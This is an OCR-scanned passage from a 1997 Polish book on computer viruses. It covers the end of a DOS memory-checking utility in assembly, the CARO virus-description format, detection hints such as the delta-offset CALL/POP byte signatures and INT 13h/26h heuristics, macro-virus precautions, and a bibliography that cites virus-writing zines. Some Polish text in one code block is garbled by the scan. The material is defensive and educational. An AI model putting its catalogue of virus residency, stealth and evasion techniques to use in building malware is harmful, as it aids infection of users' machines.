mul dx ; /


call DrukDec32 ; wyswietl ile bajtow


pop dx ax si ; przywroc zmieniane rejestry


ret ; powrot


;-----------------------------------------------------------------------------

Pokaz_ZmiennaBIOS:

push es ax dx si ; zachowaj zmieniane rejestry


lea si,TeZmiennaBIOS ; \ wyswietl info skad czytany

Call Druk ; / rozmiar pamieci


xor ax,ax ; czytaj zmienna BIOS 0000:0413

mov es,ax ; ES=0000

mov ax,es:[413h] ; AX=0000:0413= rozmiar pamieci

; w kilobajtach


mov dx,1024 ; \ oblicz ile bajtow

mul dx ; /


Call DrukDec32 ; wyswietl ile bajtow


pop si dx ax es ; przywroc zmieniane rejestry


ret ; powrot


;-----------------------------------------------------------------------------

Pokaz_MCB:

push es ax bx cx dx ; zachowaj zmieniane rejestry


lea si,TeMCB ; \ wyswietl info skad czytany

Call Druk ; / rozmiar pamieci


mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?

int 21h ; wywolaj funkcje


push ax ; zachowaj informacje na pozniej


mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB

mov bx,1 ; sprobuj dolaczyc bloki UMB

int 21h ; wywolaj funkcje


mov ax,5802h ; funkcja DOS - czy UMB dolaczone ?

int 21h ; wywolaj funkcje


xor cx,cx ; CX=0 - UMB nieobecne w systemie


or al,al ; 01=jezeli UMB sa dolaczone

jz UMB_NieDolaczone ; 00=jezeli UMB nie sa dolaczone


inc cx ; CX=1 - UMB obecne w systemie


mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB

xor bx,bx ; odlacz bloki UMB

int 21h ; wywolaj funkcje


UMB_NieDolaczone:


mov ah,52h ; funkcja DOS - wez adres listy list LL

int 21h ; wywolaj funkcje


mov ax,es:[bx-2] ; wez adres pierwszego bloku MCB


NastepnyMCB: ; kolejne bloki MCB


cmp ax,0A000h ; czy >640kB ?

jae Tylko640 ; TAK - pomin


mov es,ax ; ES=MCB

stc ; +1 w dodawaniu ponizej

adc ax,word ptr es:[3] ; dodaj rozmiar bloku MCB+1

; AX=nastepny blok MCB


cmp byte ptr es:[0],'Z' ; czy to ostatni blok MCB ?

jne NastepnyMCB ; NIE - dodaj koleny blok

; TAK - wyswietl sume

Tylko640:

add ax,cx ; dodaj ewentualny blok MCB

; opisujacy bloki MCB w pamieci UMB


; AX=pamiec w paragrafach

mov bx,16 ; \

mul bx ; / oblicz ile bajtow


call DrukDec32 ; wyswietl ile bajtow


pop bx ; przywroc info o UMB


mov bh,0 ; BX=BL

mov ax,5803h ; funkcja DOS - dolacz/odlacz bloki UMB

int 21h ; wywolaj funkcje


pop dx cx bx ax es ; przywroc zmieniane rejestry


ret ; powrot


;-----------------------------------------------------------------------------

DrukDec32: ; wyswietl liczbe w DX:AX

push ax bx dx si ; zachowaj zmieniane rejestry


mov si,offset Hex2DecBufor+10 ; ustaw na koniec bufora, bo zapis od konca

mov byte ptr [si],0 ; utworz ASCIIZ dodaj zero na koncu


DzielPrzez10:

mov bx,10 ; dziel DX:AX przez BX

Call Dziel32 ; w BX reszta z dzielenia


add bl,'0' ; dodaj ASCII "0"


dec si ; zmniejsz index w tablicy


mov byte ptr ds:[si],bl ; zapisz cyfre


or dx,dx ; \

jnz DzielPrzez10 ; \

or ax,ax ; \

jnz DzielPrzez10 ; --- czy liczba jest juz rowna 0

; NIE - dziel dalej

call DrukLn ; TAK - wyswietl bufor


pop si dx bx ax ; przywroc zmieniane rejestry


ret ; powrot


;-----------------------------------------------------------------------------

Dziel32: ; dziel (DX:AX)/BX

push bp ; zachowaj BP


push ax ; zachowac mniejsza czesc liczby 32 bitowej


mov ax,dx ; przenies b. znacz. czesc do mniej. znacz.

xor dx,dx ; i wyzeruj DX, DX:AX = > 0:DX


div bx ; podziel (0:DX)/BX


mov bp,ax ; calosc z dzielenia to wieksza czesc wyniku


pop ax ; przywroc do AX mniej znaczaca liczbe z poczatku


div bx ; DX jest reszta z dzielenia b. znacz. czesci przez BX

mov bx,dx ; w BX reszta z dzielenia


mov dx,bp ; DX:AX=liczba podzielona przez BX,

; a w BX reszta z dzielenia

pop bp ; przywroc zmieniany rejestr


ret ; powrot



;-----------------------------------------------------------------------------

DrukLn:

push si ; zachowaj zmieniany rejestr


call Druk ; wyswietl tekst z CS:SI


lea si,TeCRLF ; \ i przejdz do nastepnej linii

Call Druk ; /


pop si ; przywroc zmieniany rejestr


ret ; powrot


;-----------------------------------------------------------------------------

Druk:

push ax si ; zachowaj zmieniane rejestry


DrukPetla:

lods byte ptr cs:[si] ; wez kolejny znak tekstu

or al,al ; czy NUL ?


jz DrukPowrot ; TAK - koniec tekstu


mov ah,0Eh ; funkcja BIOS - wyswietl znak

int 10h ; wywolaj funkcje


jmp short DrukPetla ; pobierz kolejny znak tekstu


DrukPowrot:

pop si ax ; przywroc zmieniane rejestry


ret ; powrot


TeCopyRight db CR,LF,'MEM640 v1.0, Autor : Adam Blaszczyk 1997'

db CR,LF

db CR,LF,'Wielkosc pamieci w bajtach :',NUL

TeCMOS db ' _ CMOS : ',NUL

TeInt12 db ' _ INT 12 : ',NUL

TeZmiennaBIOS db ' _ Zmienna BIOS 0000:0412 : ',NUL

TeMCB db ' _ Suma blokow MCB (<640kB) : ',NUL

TeCRLF db CR,LF,NUL

Hex2DecBufor db 11 dup(?) ; bufor na liczbe dzisietna


PROG ENDS


END Start


ROZDZIAŁ 13


CARO (Computer Antyvirus Research Organization) jest organizacją zrzeszającą autorów programów antywirusowych z całego świata. Jednym z zadań, które stawia sobie organizacja, jest ujednolicenie nazewnictwa oraz opisu istniejących wirusów. Dla własnych potrzeb organizacja stworzyła coś w rodzaju specyfikacji opisu wirusów, zwanej CaroBase.

Plik w formacie CARO jest zwykłym plikiem tekstowym i zawiera następujące pola i etykiety:

CAROBASE_BANNER: na początku pliku; zawiera informacje o autorze opracowania itd.

CAROBASE_LINGUA: określa język, w którym napisany jest dokument; najczęściej jest to angielski (English).

CAROBASE_START: znacznik końca CAROBASE BANNER, zaraz po tym polu rozpoczyna się pierwszy rekord opisu (każdy rekord opisuje jednego wirusa).

CAROBASE_END: kończy ostatni rekord opisu.


Możliwe rekordy zawierające opis to:

NAME: nazwa w standardzie CARO.

ALIASES: lista oddzielonych kropką, innych nazw wirusa; w przypadku braku - puste pole; nazwa może zawierać znaki przestankowe; cudzysłów () oznacza propozycję nazwy.

NAME.HISTORY: oddzielone przecinkami poprzednie nazwy w konwencji CARO (jeżeli istniały).

LAST_NAME_CHANGE: data ostatniej zmiany nazwy wirusa.

TARGETS: określa obiekty atakowane przez wirusa; możliwe obiekty to:

COM - pliki COM, rozpoznawane po pierwszych 2 bajtach programu.

EXE - pliki EXE, rozpoznawane po pierwszych 2 bajtach programu (równe MZ lub ZM).

.COM - pliki COM, rozpoznawane po rozszerzeniu pliku. .EXE - pliki EXE, rozpoznawane po rozszerzeniu pliku. ZM - w przypadku, gdy wirus sprawdza pierwsze 2 bajty programu (znacznik MZ lub ZM). SYS - zaraża sterowniki w plikach SYS. OVR - zaraża pliki nakładkowe.

NE_W - potrafi infekować pliki new executable dla Windows. NE_OS2 - potrafi infekować pliki new executable dla OS/2. NewEXE - potrafi infekować pliki new executable, ale bez sprawdzania systemu, dla którego plik Jest przeznaczony. DIR - zaraża przy użyciu JAP.

MBR - infekuje Główny Rekord Ładujący twardego dysku. FBR - zaraża BOOT-sektory dyskietek. HER - zaraża BOOT-sektory twardych dysków. BAT - zaraża pliki wsadowe BAT. OBJ - zaraża pliki OBJ. LIB - zaraża pliki LIB.

COMP - wirus jest typu towarzyszącego (w nawiasie może być określone rozszerzenie plików wykorzystywanych przez wirusa, np. EXE/COM).

OTHER - wirus infekuje inny obiekt, nie opisany powyżej.

RESIDENT: określa, czy wirus zostawia po uruchomieniu jakiś ślad w pamięci;

możliwe wartości to:

NONE - to nie jest wirus rezydentny.

PAYLOAD - wirus nie jest rezydentny, ale instaluje rezydentny kod, np. bombę.

IVT - wirus rezyduje w tablicy przerwań.

FIRSTMCB - wirus rezyduje w MCB należącym do DOS-a.

BUFFER - wirus rezyduje w obszarze buforów DOS.

LOW - wirus rezyduje jak zwykły TSR.

TWIXT (przestarzałe) - wirus rezyduje za ostatnim blokiem pamięci.

TwixtAny - wirus zmniejsza rozmiar aktualnego MCB.

TwixtZ - wirus zmniejsza rozmiar aktualnego MCB, jeżeli jest to ostatni blok w łańcuchu (tzn. MCB ma znacznik Z).

NewMCB - wirus zmniejsza rozmiar aktualnego MCB i tworzy w tak powstałym bloku nowy MCB z przepisaniem znacznika z aktualnego bloku.

NewEndMCB - zmniejsza aktualny blok MCB i tworzy w tak powstałym miejscu nowy MCB ze znacznikiem Z; w aktualnym MCB zmienia znacznik bloku na M.

UPPER - wirus próbuje zaalokować pamięć powyżej 640kB (UMB).

HIGH - wirus próbuje zaalokować pamięć w obszarze od IMb do (l Mb + 64 Kb - 16).

TOP - wirus rezyduje w bloku pamięci powstałym na skutek zmniejszenia pamięci widzianej przez BIOS (zmienna 0040:0013).

UNMARKED - wirus rezyduje na końcu dostępnej pamięci, jednak miejsca tego w żaden sposób nie chroni.

VIDEO - wirus rezyduje w pamięci ekranu.

EXT - wirus rezyduje w pamięci XMS.

EXP - wirus rezyduje w pamięci EMS.

AT addr - wirus rezyduje w pamięci pod wyspecyfikowanym adresem [addr] i miejsca tego w żaden sposób nie chroni przed zapisem, np. w obszarze zmiennych DOS. OTHER - wirus instaluje się w pamięci przy pomocy innej, me opisanej powyżej techniki.

Below - wirus manipuluje blokami MCB i lokuje się w pamięci przed aktualnym blokiem MCB.

MEMORY_SIZE: określa ilość pamięci zajmowanej przez wirusa w pamięci w bajtach, kilobajtach (na końcu litera K) lub w paragrafach (litera P na końcu).

STORAGE_SIZE: rozmiar wirusa na dysku w bajtach, kilobajtach (na końcu litera K), jednostkach JAP (na końcu litera C) lub sektorach (litera S na końcu);

w przypadku wyrównywania długości pliku do jakiejś wielokrotności należy to uwzględnić w długości wirusa.

WHERE: opisuje sposób działania wirusa (może być to lista oddzielona kropkami).


Dla plików są możliwe:

OVERWRITES - wirus nadpisuje i w efekcie niszczy plik.

PREPENDING - wirus umieszcza swój kod w pliku przed oryginalnym kodem programu (przesuwa oryginalny kod do przodu).

MOVE - wirus zachowuje nadpisywany przez siebie początek pliku na jego końcu.

APPENDING (przestarzałe) - wirus dopisuje się na końcu pliku.

EOIMAGE - dopisuje się za obrazem pliku EXE (długość obrazu obliczana jest na podstawie nagłówka).

EOFILE - wirus dopisuje się na końcu pliku.

HEADER - wirus instaluje się w nagłówku pliku EXE.

SPLIT - wirus umieszcza siew pliku pomiędzy nagłówkiem pliku EXE a resztą pliku.

DATA - wirus nadpisuje obszar pliku zawierający stałe wartości (np. ciąg zer).

RANDOM - plik doczepia się w przypadkowym miejscu pliku.

SLACK - wirus korzysta z luki powstałej na końcu pliku nie wykorzystującego całej JAP. COMPANION - wirus jest typu towarzyszącego.

OTHER - wirus używa innej techniki, nie opisanej powyżej.


Dla sektorów możliwe są:

AT ttt/hh/ss - na ścieżce ttt, głowicy hh, w sektorze ss.

AT_LSN nn - w logicznym sektorze nn.

AT_CN nn - w JAP numer nn.

TRACK nn - na dodatkowej ścieżce nn.

BAD - w jednostce JAP oznaczonej jako zła.


STEALTH: określa listę przerwań i funkcji wykorzystywanych przez wirusa;

możliwe są dwa kluczowe słowa:

NONE - wirus nie używa techniki stealth.

DRIVER - wirus instaluje się jako sterownik.


POLYMORPHIC: określa, Jak polimorficzny jest wirus, przecinek oddziela słowa kluczowe, możliwe są:

NONE - wirus nie używa procedur szyfrujących.

CONST - wirus używa stałego sposobu szyfrowania, ze stałą procedurą dekodera.

VAR - wirus używa zmiennej procedury szyfrującej, ale stałego dekodera.

WILDCARD - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera, możliwego do wykrycia przy użyciu sygnatur ze znakami globalnymi.

POLY-nn - wirus używa zmiennej procedury szyfrującej oraz zmiennego dekodera; liczba nn określa ilość stałych bajtów (w dowolnym miejscu w dekoderze); 00 - oznacza najbardziej zaawansowany polimorfizm.

ENTRY - wirus ukrywa miejsce wejścia do kodu.

SWAP - wirus przemieszcza (na zasadzie anagramu) część swojego kodu.

OTHER - wirus używa innego polimorfizmu, nie opisanego powyżej.


ARMOURING: sposoby obrony stosowane przez wirusa; możliwe to:

NONE - wirus nie stosuje żadnych metod.

CODE - wirus stosuje sztuczki antydeasemblerowe.

CRYPT - wirus stosuje kilkustopniowe szyfrowanie.

TRACE - wirus wyłącza przerwania INT l i INT 3.

KBD - wirus wyłącza klawiaturę podczas uruchamiania.

SELFTRACE - wirus używa INT 1 i INT 3 w dekoderze.

INT1 - wirus używa INT 1, INT3 - wirus używa INT 3.

PREFETCH - wirus używa sztuczek antydebuggerowych, wykorzystujących kolejkę rozkazowa do wykrycia, czy jego kod nie jest śledzony przy użyciu debuggera.

OTHER - wirus używa innej techniki, nie opisanej powyżej.


TUNNELLING: określa, czy wirus używa tunelingu.

NONE - wirus nie używa tunelingu. NEXT - wirus potrafi ominąć ostatnio zainstalowany program TSR.

HAND21 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania 21h.

DRIVER - wirus używa procedur obsługi sterowników.

SECTOR - wirus używa INT 13h przy dostępie do dysku.

HAND13 - wirus potrafi odnaleźć i wykorzystać oryginalny adres wejścia do przerwania INT 13h.

BIOS - wirus używa bezpośrednich wywołań procedur ROM" BIOS do obsługi dysków.

HARDWARE - wirus używa dostępu do dysku poprzez porty.

OTHER -wirus używa innej techniki tunelingu, nie opisanej powyżej.


W przypadku HAND21, HAND13 i BIOS można wyliczyć (w nawiasach) metody wyszukiwania oryginalnego adresu; możliwe słowa kluczowe to:

TRACE - wirus używa trybu krokowego do odnalezienia oryginalnego wejścia do przerwania.

2F - wirus używa funkcji (13/2F).

TABLE - wirus używa tablicy z adresami do odnalezienia oryginalnego wejścia do przerwania.

SCAN - wirus skanuje pamięć w poszukiwaniu łańcucha bajtów charakterystycznych dla danego przerwania.

OTHER - inna metoda.


INFECTIVITY:

O - to nie jest wirus.

1 - wirus, który dość wolno się rozpowszechnia.

2 - odpowiada szybkości rozmnażania się nierezydentnego wirusa nadpisującego.

3 - odpowiada szybkości rozmnażania się wirusa nierezydentnego zarażającego jeden plik po uruchomieniu.

4 - odpowiada szybkości rozmnażania się wirusa rezydentnego zarażającego pliki tylko przy uruchomieniu ofiary.

5 - szybki infektor.

6 - odpowada szybkości romnażania się wirusów zarażających MBR.

7 - bardzo szybki infektor.


OBVIOUSNESS:

określa, jak łatwo wirus jest zauważalny przez użytkownika.

EXTREMELY - wirus zawiera groźny ładunek, łatwy do zauważenia.

QUITE - wirus zawiera ładunek dość łatwy do zauważenia.

SLIGHTLY - wirus zawiera ładunek powodujący efekt trudny do zauważenia.

NONE - wirus nie jest możliwy do zauważenia bez użycia specjalnego programu (najczęściej antywirusowego).


COMMONNESS:

rozpowszechnienie w świecie (pod względem ilości zgłoszeń infekcji).

0 - nieznany: najczęściej trywialny, nadpisujący, łatwy do wykrycia.

1 - bardzo słabo znany.

2 - słabo znany (kilka zgłoszeń).

3 - znany (przynajmniej jedno zgłoszenie od znawcy wirusów).

4 - znany na całym świecie.

5 - bardzo znany.

6 - bardzo znany w przeszłości.


COMMONNESS_DATE:

określa, kiedy powyższe pole było modyfikowane; data zapisywana jest w formacie rrrr-mm-dd.

TRANSIENT_DAMAGE: efekt działania wirusa nie jest niszczący.

T_DAMAGE TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony.

PERMANENT_DAMAGE: określa, jakie zniszczenia może spowodować wirus. P_DAMAGE_TRIGGER: określa, kiedy powyższy efekt zostanie uaktywniony. SIDE_EFFECTS: znane efekty uboczne powodowane przez wirusa. INFECTION_TRIGGER: określa, kiedy wirus infekuje (np. COM, gdy długość pliku ofiary > 100 bajtów).

MSG_DISPLAYED: określa łańcuch (podany w cudzysłowie) wyświetlany przez wirusa;

jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".

MSG_NOT_DISPLAYED: określa łańcuch (podany w cudzysłowie) zawarty w wirusie; jeżeli zaszyfrowany, należy dodać na końcu słowo "Encrypted".

INTERRUPTS_HOOKED: przedzielona przecinkami lista przerwań i funkcji przejętych przez wirusa; liczby podane jako HEX.

SELFREC_IN_MEMORY: określa, w jaki sposób wirus sprawdza, czy jest już zainstalowany w pamięci.

SELFREC_ON_DISK: określa, w jaki sposób wirus sprawdza, czy obiekt jest zainfekowany.

LIMITATIONS: określa ograniczenia wirusa (hardware, software).

COMMENTS: komentarz na temat wirusa.

ANALYSIS_BY: określa, kto analizował wirusa.

DOCUMENTATION_BY: opisuje, kto sporządził dokumentację.

ENTRY_DATE: określa datę, kiedy baza danych o wirusie została stworzona; data ma format: rrrr-mm-dd.

LAST_MODIFIED: określa datę, kiedy baza danych o wirusie była ostatnio modyfikowana; data ma format: rrrr-mm-dd.

SEE_ALSO: określa, do jakich wirusów opisywany wirus jest podobny.

END: oznacza koniec opisu wirusa.


ROZDZIAŁ 14


Najlepsza metoda ustrzeżenia się przed wirusami polega na sprawdzaniu nieznanych plików (programów, dokumentów) możliwie najnowszym programem antywirusowym (jeżeli to możliwe, to kilkoma różnymi). Bardzo ważnym elementem działań zapobiegawczych jest także regularne tworzenie kopii awaryjnych, zawierających najważniejsze pliki, będące zwykle efektami mozolnej pracy. Choć niektórym osobom może się to wydać niepotrzebne, prędzej czy później kopie te okażą się niezbędne, i to nie tylko ze względu na wirusy. Nie ma bowiem chyba takiego użytkownika, któremu w pewnym momencie komputer nie odmówił posłuszeństwa- Pół biedy, gdy usterka jest trywialna, gorzej, gdy zostanie uszkodzona najważniejsza chyba, poza procesorem, część komputera: dysk twardy, W takiej sytuacji kopia awaryjna jest jedyną deską ratunku. Obecność wirusa w systemie to nie straszna tragedia, zwłaszcza, że większość wirusów, wbrew powszechnej opinii, nie zawiera procedur destrukcyjnych. W przypadku zainfekowania komputera nie należy więc od razu formatować dysku twardego. Co więcej, wykonanie tej operacji wcale nie oznacza pozbycia się intruza z systemu. Poniżej zamieszczono informacje na temat specyficznych, działających tylko dla wybranych obiektów, metod.


14.1. Ochrona przed wirusami plików uruchamialnych

Oprócz sprawdzenia programem antywirusowym pliki uruchamial-ne można dodatkowo pobieżnie zanalizować przy użyciu debuggera.

Wprawny użytkownik bowiem często już po kilku, kilkunastu instrukcjach kodu programu rozpozna, czy nie zawiera on wirusa i poprzez przerwanie jego działania uniemożliwi infekcję systemu. Oczywiście powyższa metoda wydawać się może bardzo amatorska, jednak jest skuteczna, jak zresztą większość tego typu sposobów, gdyż pozwala wykryć nowe wirusy, których nie rozpoznają jeszcze programy antywirusowa. Na przykład wykrycie podanej poniżej sekwencji na początku badanego programu świadczy prawie na pewno o tym, że program ten zawiera wirusa. Jej wykonanie umożliwia bowiem uzyskanie relatywnego offsetu, pod którym umieszczony jest w pamięci kod wirusa. Wyznaczone przemieszczenie jest przez niego stosowane przy dostępie do zawartych w nim danych (za pomocą adresowania pośredniego: bazowego lub indeksowego).

; Sekwencja znajduj╣ca siÛ na pocz╣tku wiÛkszo£ci wirus¾w plikowych

CALL TRIK ; wywo│anie procedury TRIK umie£ci na stosie offset do

; nastÛpuj╣cej po niej instrukcji (POP REJ16)

TRIK:

POP REJ16 ; zdejmuje ze stosu offset, pod kt¾rym jest umieszczony

; rozkaz POP REJ16 i umieszcza go w rejestrze 16-bitowym,

; najczÛ£ciej w kt¾rym£ z : SI, DI, BP, BX

SUB REJ16,???? ; ???? najczÛ£ciej =3, po tej operacji warto£µ REJ16

; bÛdzie ofsetem wskazuj╣cym na pocz╣tek kodu wirusa,

; warto£µ 3 wynika z d│ugo£ci rozkazu CALL TRIK, czyli

; (OE8h 00h 00h)

Poniżej podano wygląd tej sekwencji dla różnych typów rejestru Rejl6.

Sekwencje dla różnych kombinacji rejestru REJ16

Rejestr 16-bitowy

Sekwencja bajtów

Kod po deasemblacji

AX

E8 00 00

58

2D 03 00

CALL TRIK

TRIK: POP AX

SUB AX,3

CX

E8 00 00

59

83 E9 03

CALL TRIK

TRIK: POP CX

SUB CX,3

BX

E8 00 00

5B

83 EB 03

CALL TRIK

TRIK: POP BX

SUB BX,3

DX

E8 00 00

5A

83 EA 03

CALL TRIK

TRIK: POP DX

SUB DX,3

BP

E8 00 00

5D

83 ED 03

CALL TRIK

TRIK: POP BP

SUB BP,3

SI

E8 00 00

5E

83 EE 03

CALL TRIK

TRIK: POP SI

SUB SI,3

DI

E8 00 00

5F

83 EF 03

CALL TRIK

TRIK: POP DI

SUB DI,3


14.2. Ochrona przed bombami logicznymi i końmi trojańskimi

Ze względu na sposób działania, nieznane szczepionkom antywirusowym konie trojańskie i bomby są trudne do wykrycia, gdyż właściwy, destrukcyjny kod może być umieszczony w dowolnym miejscu programu, tak więc znalezienie takiej sekwencji nie jest zbyt łatwe (a gdy program jest wewnętrznie skompresowany wręcz niemożliwe). Z pomocą przychodzi tu omówiona wcześniej heurystyka, technika polegająca na wykrywaniu potencjalnych agresorów na podstawie charakterystycznych sekwencji kodu. Najczęściej programy poszukujące koni trojańskich w podejrzanych plikach szukają instrukcji wywołań przerwań programowych 13h (sekwencja 0CDh, 013h) lub 26h (sekwencja 0CDh, 026h), używanych do odczytywania i zapisywania sektorów, które ze względu na swe działanie występują raczej rzadko w typowym oprogramowaniu użytkowym, gdyż normalne programy nie korzystają z bezpośrednich operacji zapisu na sektorach, a najniższy poziom, na jakim działają, to operacje na plikach.

Potencjalnymi końmi trojańskimi są najnowsze wersje typowych i często używanych programów użytkowych, np. antywirusowych i kompresujących, tak więc należy się z nimi obchodzić dość ostrożnie. Dobrym rozwiązaniem, pozwalającym uchronić się przed większością koni trojańskich i bomb, może być zainstalowanie monitora antywirusowego. Konie trojańskie są zwykle pisane przez początkujących programistów, którzy do przeprowadzania destrukcji używają funkcji bibliotecznych języków wysokiego poziomu, bądź też przerwań programowych, a te mogą być łatwo przechwytywane i kontrolowane przez monitor.


14.3. Ochrona przed makrowirusami

Ze względu na to, iż bez programu antywirusowego trudno jest wykryć wirusy w plikach DOC czy XLS, można przedsięwziąć pewne kroki, aby zminimalizować szansę zainfekowania systemu:

> wyłączyć wszystkie makra automatyczne przy pomocy własnoręcznie napisanego makra (najlepiej nazwać je AutoExec, dzięki czemu zostanie ono zawsze wywoływane podczas uruchamiania Worda):

SUB MAIN

DisableAutoMacros 1

END SUB

> aby wyłączyć przy uruchamianiu Worda makro AutoExec należy uruchamiać aplikację z parametrem /m (WINWORD.EXE /M);

> podczas wczytywania plików trzymać wciśnięty klawisz SHIFT, co spowoduje zablokowanie automatycznego makra AutoOpen;

> od czasu do czasu przeglądać listę makr zawartych w szablonie NORMAL.DOT; jeżeli zawiera ona jakieś makra automatyczne lub makra o dziwnych, niespotykanych nazwach, możliwe, iż szablon jest zainfekowany. Makra można przeglądać za pomocą

opcji wybieranych z menu Worda PLIK/SZABLONY/ORGA-NIZATOR/MAKRA, bądź też NARZĘDZIA/MAKRO (niektóre makrowirusy potrafią już oszukiwać użytkownika chcącego użyć tych funkcji);

> ze względu na to, iż wirus może nie przejmować żadnego makra automatycznego, lecz tylko podmieniać polecenia menu (najczęściej menu PLIK/ZACHOWAJ, PLIK/ZACHOWAJ JAKO), powyższe środki mogą okazać się całkowicie nieskuteczne. Jedynym rozwiązaniem jest wtedy użycie najnowszego programu antywirusowego.


ROZDZIAŁ 15


1. Leonid Bułhak, Ryszard Goczyński, Michał Tuszyński DOS 5.0 od środka Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1992.

2. Stanisław Lenkiewicz Sterowniki urządzeń zewnętrznych w systemie operacyjnym MS-DOS Wydawnictwo PLJ, Warszawa 1993.

3. Eugeniusz Wróbel Asembler 8086/88, Wydawnictwa Naukowo-Technicz-ne, Warszawa 1990.

4. Marek Kotowski Pod zegarem (Asembler 8086/80286), Wydawnictwo Lu-pus, Warszawa 1992.

5. Zbigniew Mroziński Mikroprocesor 8086 {Podręczny Katalog Elektronika), Wydawnictwa Naukowo-Techniczne, Warszawa 1992.

6. Ryszard Goczyński, Michał Tuszyński Mikroprocesory 80286, 80386, i 80486 Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1991-

7. Piotr Metzger Anatomia PC Helion, Gliwice 1993.

8. Krzysztof Kierzenkowski Programowanie z wykorzystaniem pamięci typu extended i expanded (Pamięci extended i expanded), Wydawnictwo Lupus, Warszawa 1994,

9. Arkadiusz Andrusz, Maciej Sokołowski Mapa pamięci IBM/PC w przykładach w pascalu i asemblerze , Wydawnictwo Lynx-Sft, Warszawa 1995.

10. Andrzej Dudek Jak pisać wirusy O.W. Read Me, Jelenia Góra 1993.

11. Microsoft Word, Podręcznik użytkownika Microsoft Corporation 1994.

12. Microsoft Excel, Opis funkcji Microsoft Corporation 1993.

13. Władysław Majewski Uwaga! Komputerowe wirusy " Wiedza i Życie", 1989,z.1.

14. Karol Szyndzielorz Projektanci komputerowych wirusów "Wiedza i Życie", 1989,

15. Marek Sell Help do programu MKS_Vir.

16. Phalcon/Skism: 40HEX (issues 1-14).

17. VLAD: VLAD (issues 1-7).

18. VBB: Viruses Bits & Bytes (issues 1-2).

19. Immortal Riot: Insane Reality (issues 4-6).

20. NuKe: NuKe IntoJournal (issues 4-3).

21. Dark Angel VirGuide (issues L-?).

22. Raif Brown Interrupt list 51,

23. (C) (P) Potemkins Hackers Group Opcodes.lst (revision 1.27), Moscow.

24. Marl A. Ludwig The Little Black Book about Computer Viruses, volume 1 -The basic tcchuology, American Eagle Publications Inc. 1991.

25. Vessolin Bontchev Future Trends in Virus-Writing Virus Test Center, Uni-versity of Hamburg, Germany 1994.

26. Vesselin Bontchev Possible Virus Attacks Against Integrity Programs and How io Prevent them. Virus Test Center, Univercity of Hamburg Germany 1992.

27. Vosselin Bontchev The Bulgarian and Soviet Virus Pactories Bulgarian Aca-demy of Sciences, Sofia, Bułgaria.

28. Vesselm Bontchev lnVircible Test from Virus Test Center University of Hamburg.

29. Inside the Mind of Dark Ąveriger Personal Computer World, July 1993.

30. Julian Bibbell Viruses are Good For You USA: WIRED Ventui-es Ltd. 1995.

31. Sara Gordon Faces Behind the Masks November, England 1994.

32. Tarkan Yetiser Połymorphic Viruses - Implementation, Detection, and Protec-tion USA, Baltimore, VDS Advanced Research Group 1993.

33. Gary M. Watson A Discussion of Polymorphism Data Plus 1992.

34. Dmitry O. Gryaznov Scanners of the Year 2000 Senior Virus Research Analyst.

35. Epidemiology and Computer Viruses Alan, Solomon 1990.

36. Viriology 101.

37. Anthony Naggs CAROBASE Format Reference revised edition 1993.

38. Donn Seeley A Tour of the Worm Department of Computer Science, University of

Utah.



--------------- info ------------------

orginal book "Wirusy" by Adam Blaszczyk

scanned and ocr'ed by misha [cp'99]

misha@vc.pl. 1999.06.08

---------------------------------------



Wyszukiwarka

Podobne podstrony:
Wirusy komputerowe i profilaktyka antywirusowa, edukacja i nauka, Informatyka
Wirusy Komputerowe, Profilaktyka antywirusowa
Wirusy komputerowe Profilaktyka antywirusowa Programy antywirusowe
Wirusy i profilaktyka antywirusowa, edukacja i nauka, Informatyka
Fitopatologia, Wirusy ĆW 2, LIŚCIOZWÓJ ZIEMNIAKA- należy do grupy wirusów ciężkich i powoduje duże s
Informatyka, Wirusy i ochrona antywirusowa, Wirusy i ochrona antywirusowa
wirusy Wykład 10, biotechnologia Sem 5 Olsztyn, III rok, III rok BARDZO DOBRE !!!!, 6 sem BT, wiruso
Wirusy i ochrona antywirusowa, INFORMATYKA
Wirusy i ochrona antywirusowa, Informatyka -all, INFORMATYKA-all
Wirusy i ochronna antywirusowa III, edukacja i nauka, Informatyka
Micha Lasota Wirusy i Programy Antywirusowe
Wirusy i ochrona antywirusowa
Wirusy i programy antywirusowe
Szkoła pisania
wirusy i zagrozenia
CHOROBY O DOMNIEMANEJ ETIOLOGII WIRUSOWEJ
Zakażenia wirusowe układu nerwowego psów i kotów

więcej podobnych podstron